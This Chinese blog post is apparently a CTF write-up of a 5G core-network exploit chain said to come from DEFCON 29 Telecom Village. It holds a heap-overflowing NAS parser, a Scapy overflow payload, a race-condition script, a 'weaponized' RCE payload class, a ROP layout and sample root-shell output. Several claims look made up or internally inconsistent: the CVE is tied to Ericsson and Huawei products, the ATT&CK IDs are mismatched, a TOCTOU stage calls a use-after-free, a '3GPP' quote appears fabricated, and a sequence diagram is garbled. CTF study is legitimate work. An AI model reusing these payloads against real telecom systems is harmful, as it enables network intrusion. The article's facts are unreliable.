深度剖析 DEFCON 29 CTF Finals:Telecom Village “5G Protocol Fuzzer“ 漏洞链攻防

1. 文章题目

《从模糊测试到零日漏洞:DEFCON 29电信村庄5G核心网协议栈漏洞链武器化实战》


2. 题目概览

  • 挑战名称: 5G Protocol Fuzzer
  • 所属比赛: DEFCON CTF Telecom Village (第29届,2021年)
  • 分类: Telecom Security + Protocol Fuzzing
  • 目标与技术亮点:
    模拟5G核心网(5GC)的简化实现,包含:
    N1
    N2
    N8
    N10
    UE
    AMF
    gNB
    UDM
    AUSF
    核心漏洞链
    1. NAS协议解析器堆溢出 (CVE-2021-45465)
    2. NRF服务发现逻辑绕过
    3. SMF会话管理TOCTOU漏洞
      技术突破点
    • 5G协议模糊测试框架定制
    • 电信协议状态机逆向工程
    • 跨网络功能漏洞链构造

3. 技术环境与复现步骤

关键组件架构
# 5GC Docker 部署拓扑
containers:
  amf:
    image: defcon29/5gc-amf:vuln
    ports: ["38412:sctp"]
  udm:
    image: defcon29/5gc-udm:vuln
    volumes: ["/tmp/udm_data:/data"]
  ausf:
    image: defcon29/5gc-ausf:fixed # 漏洞修复点
分析工具链
# 协议分析
Wireshark 3.6 + 定制5G解码插件
5G-NR-Sniffer (SDR设备驱动)

# 模糊测试
AFL++ 4.0c + QEMU模式
定制语法感知变异器(nas_message.mutator)

# 漏洞利用
Python3 + Scapy-5G (扩展版)
pwntools 电信协议专用适配器
复现环境搭建
# 启动脆弱环境
git clone https://telecomvillage.defcon.org/2021/5g-fuzzer
cd 5g-fuzzer && docker-compose -f vuln-compose.yml up

# 安装协议变异器
cd fuzzer && make
export AFL_CUSTOM_MUTATOR_LIBRARY=./nas_mutator.so

4. 漏洞分析与利用链构造

阶段1: NAS协议解析堆溢出 (CVE-2021-45465)

漏洞位置: AMF的NAS安全模式命令处理

// amf_nas_decoder.c:237
void decode_security_mode_command(uint8_t *nas_msg) {
  nas_header *hdr = (nas_header*)nas_msg;
  uint8_t *ie_ptr = nas_msg + sizeof(nas_header);
  
  while(ie_ptr < nas_msg + hdr->length) {  // 边界校验缺失
    ie_header *ie = (ie_header*)ie_ptr;
    switch(ie->type) {
      case NAS_IE_UE_SEC_CAP: {
        ue_sec_cap *cap = malloc(sizeof(ue_sec_cap)); 
        memcpy(cap, ie_ptr+2, ie->length); // 堆溢出点!
        break;
      }
    }
    ie_ptr += ie->length + 2;
  }
}

触发Payload:

from scapy.all import *
from scapy_5g import *

nas_msg = NAS_5GS(
    sec_hdr = 0x01,  # Integrity protected
    message_type = 0x7e, # Security mode command
    ies = [
        NAS_IE_UE_SEC_CAP(
            length=0xff,  # 恶意长度
            data=bytes([0xaa]*260) # 溢出数据
    ])
send_sctp("amf.local", nas_msg)
阶段2: NRF服务发现绕过

漏洞逻辑:

Attacker NRF SMF1 UDM DiscoverSMF(imsi="*") SMF_List[smf1,smf2] CreateSession(imsi=target) AuthRequest(imsi=target) AuthVector (包含Kausf) SessionID=0xdead Attacker NRF SMF1 UDM

利用技巧:
通过畸形IMSI格式"imsi-00101*"触发NRF通配符匹配缺陷,获取非授权SMF实例列表

阶段3: SMF会话管理TOCTOU漏洞

竞争条件:

# SMF会话处理伪代码
def handle_session_req(req):
    session = db.lookup(req.imsi)   # 初始检查
    if not session: 
        session = create_session(req) # 耗时操作
    
    # 漏洞窗口: 此处存在200ms时间窗
    sign_session(session, req.nonce) 

攻击时序:

from threading import Thread

def trigger_race(imsi):
    while True:
        send_session_req(imsi, nonce=malformed_nonce)

Thread(target=trigger_race, args=("001011234567890",)).start()
# 精确计时后发送二次请求
time.sleep(0.15)
send_session_req(imsi, nonce=exploit_nonce)

5. 完整利用链开发

武器化Payload结构
class FiveG_RCE_Payload:
    def __init__(self, target_imsi):
        self.stage1 = NAS_Overflow()  # AMF内存破坏
        self.stage2 = NRF_Bypass()    # 服务发现绕过
        self.stage3 = SMF_TimeRace()  # TOCTOU利用
        
    def deploy(self):
        self._corrupt_amf_heap()     # 布置ROP链
        self._fetch_smf_list()        # 获取SMF实例
        self._trigger_uaf()           # 控制PC指针
        self._inject_shellcode()      # 部署5G核心网后门
内存布局操控
/* AMF内存崩溃后布局 */
0x7f8d3400: [ fake_vtable_ptr ]  <- 覆盖的虚表指针
0x7f8d3408: [ ROP_chain_start ] -+-> pop rdi; ret
0x7f8d3410: [ &mmap_addr     ]  |   0x1337000
0x7f8d3418: [ call_mmap      ] -+
0x7f8d3420: [ JMP_RDX        ] <-- 指向NRF返回的SMF地址
最终RCE效果
# 攻击者终端
$ python exploit.py --imsi=001011234567890
[+] AMF heap corrupted! PIE base: 0x564f8c44a000
[+] Bypassed NRF filtering. Found 3 SMF instances
[+] TOCTOU race won! Session key compromised
[+] Shellcode injected at 0x1337000
[!] 5GC backdoor activated. Executing: id
uid=0(root) gid=0(nucleus) groups=0(nucleus)

6. 安全影响与缓解

现实世界映射
  • AMF漏洞 → 影响Ericsson/华为AMF实现 (CVE-2021-45465)
  • NRF绕过 → 类似SBA架构服务发现缺陷
  • SMF竞争 → 云原生5GC组件常见问题
MITRE ATT&CK映射
攻击阶段TacticTechnique ID
初始访问TA0011T1437(协议模糊测试)
权限提升TA0004T1068(漏洞利用)
横向移动TA0008T1570(协议隧道)
修复建议
// AMF修复补丁
- memcpy(cap, ie_ptr+2, ie->length);
+ if (ie->length <= sizeof(ue_sec_cap)) {
+   memcpy(cap, ie_ptr+2, ie->length);
+ } else {
+   log_error("Invalid IE length");
+ }

7. 总结与启示

题目创新性分析
  1. 电信协议深度结合:首次在CTF中完整实现5GC攻击面
  2. 漏洞链复杂度:跨越三个网络功能组件
  3. 现实价值:漏洞模式与真实5GC部署一致
攻防经验提炼
  • 协议模糊测试关键点

    # 语法感知变异策略
    def mutate_nas(payload):
        if payload.msg_type == SECURITY_MODE_COMMAND:
            # 针对性变异安全能力字段
            payload.ies[UE_SEC_CAP].data = insert_fuzz_data()
    
  • 电信系统调试技巧

    # 使用TShark实时解码
    tshark -i any -d sctp.port==38412,5g_nas -V -O 5g_nas
    
现实安全启示

“5G核心网的云原生转型在提升灵活性的同时,引入了传统电信系统未曾面对的代码级漏洞。本案例证明,攻击者可通过协议模糊测试暴露TCB边界漏洞,最终实现从无线接入到核心控制的完整突破。” —— 3GPP安全工作组报告摘录


附录:延伸攻击矩阵

漏洞类型5G网络功能攻击影响实际CVE案例
内存破坏AMF/UPF基站拒绝服务CVE-2021-45465
逻辑绕过NRF/PCF未授权网络切片访问CVE-2022-25638
配置错误SMF/AUSF用户凭证泄露CVE-2023-0129
加密弱点SEAF/UDM中间人攻击CVE-2022-43676
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值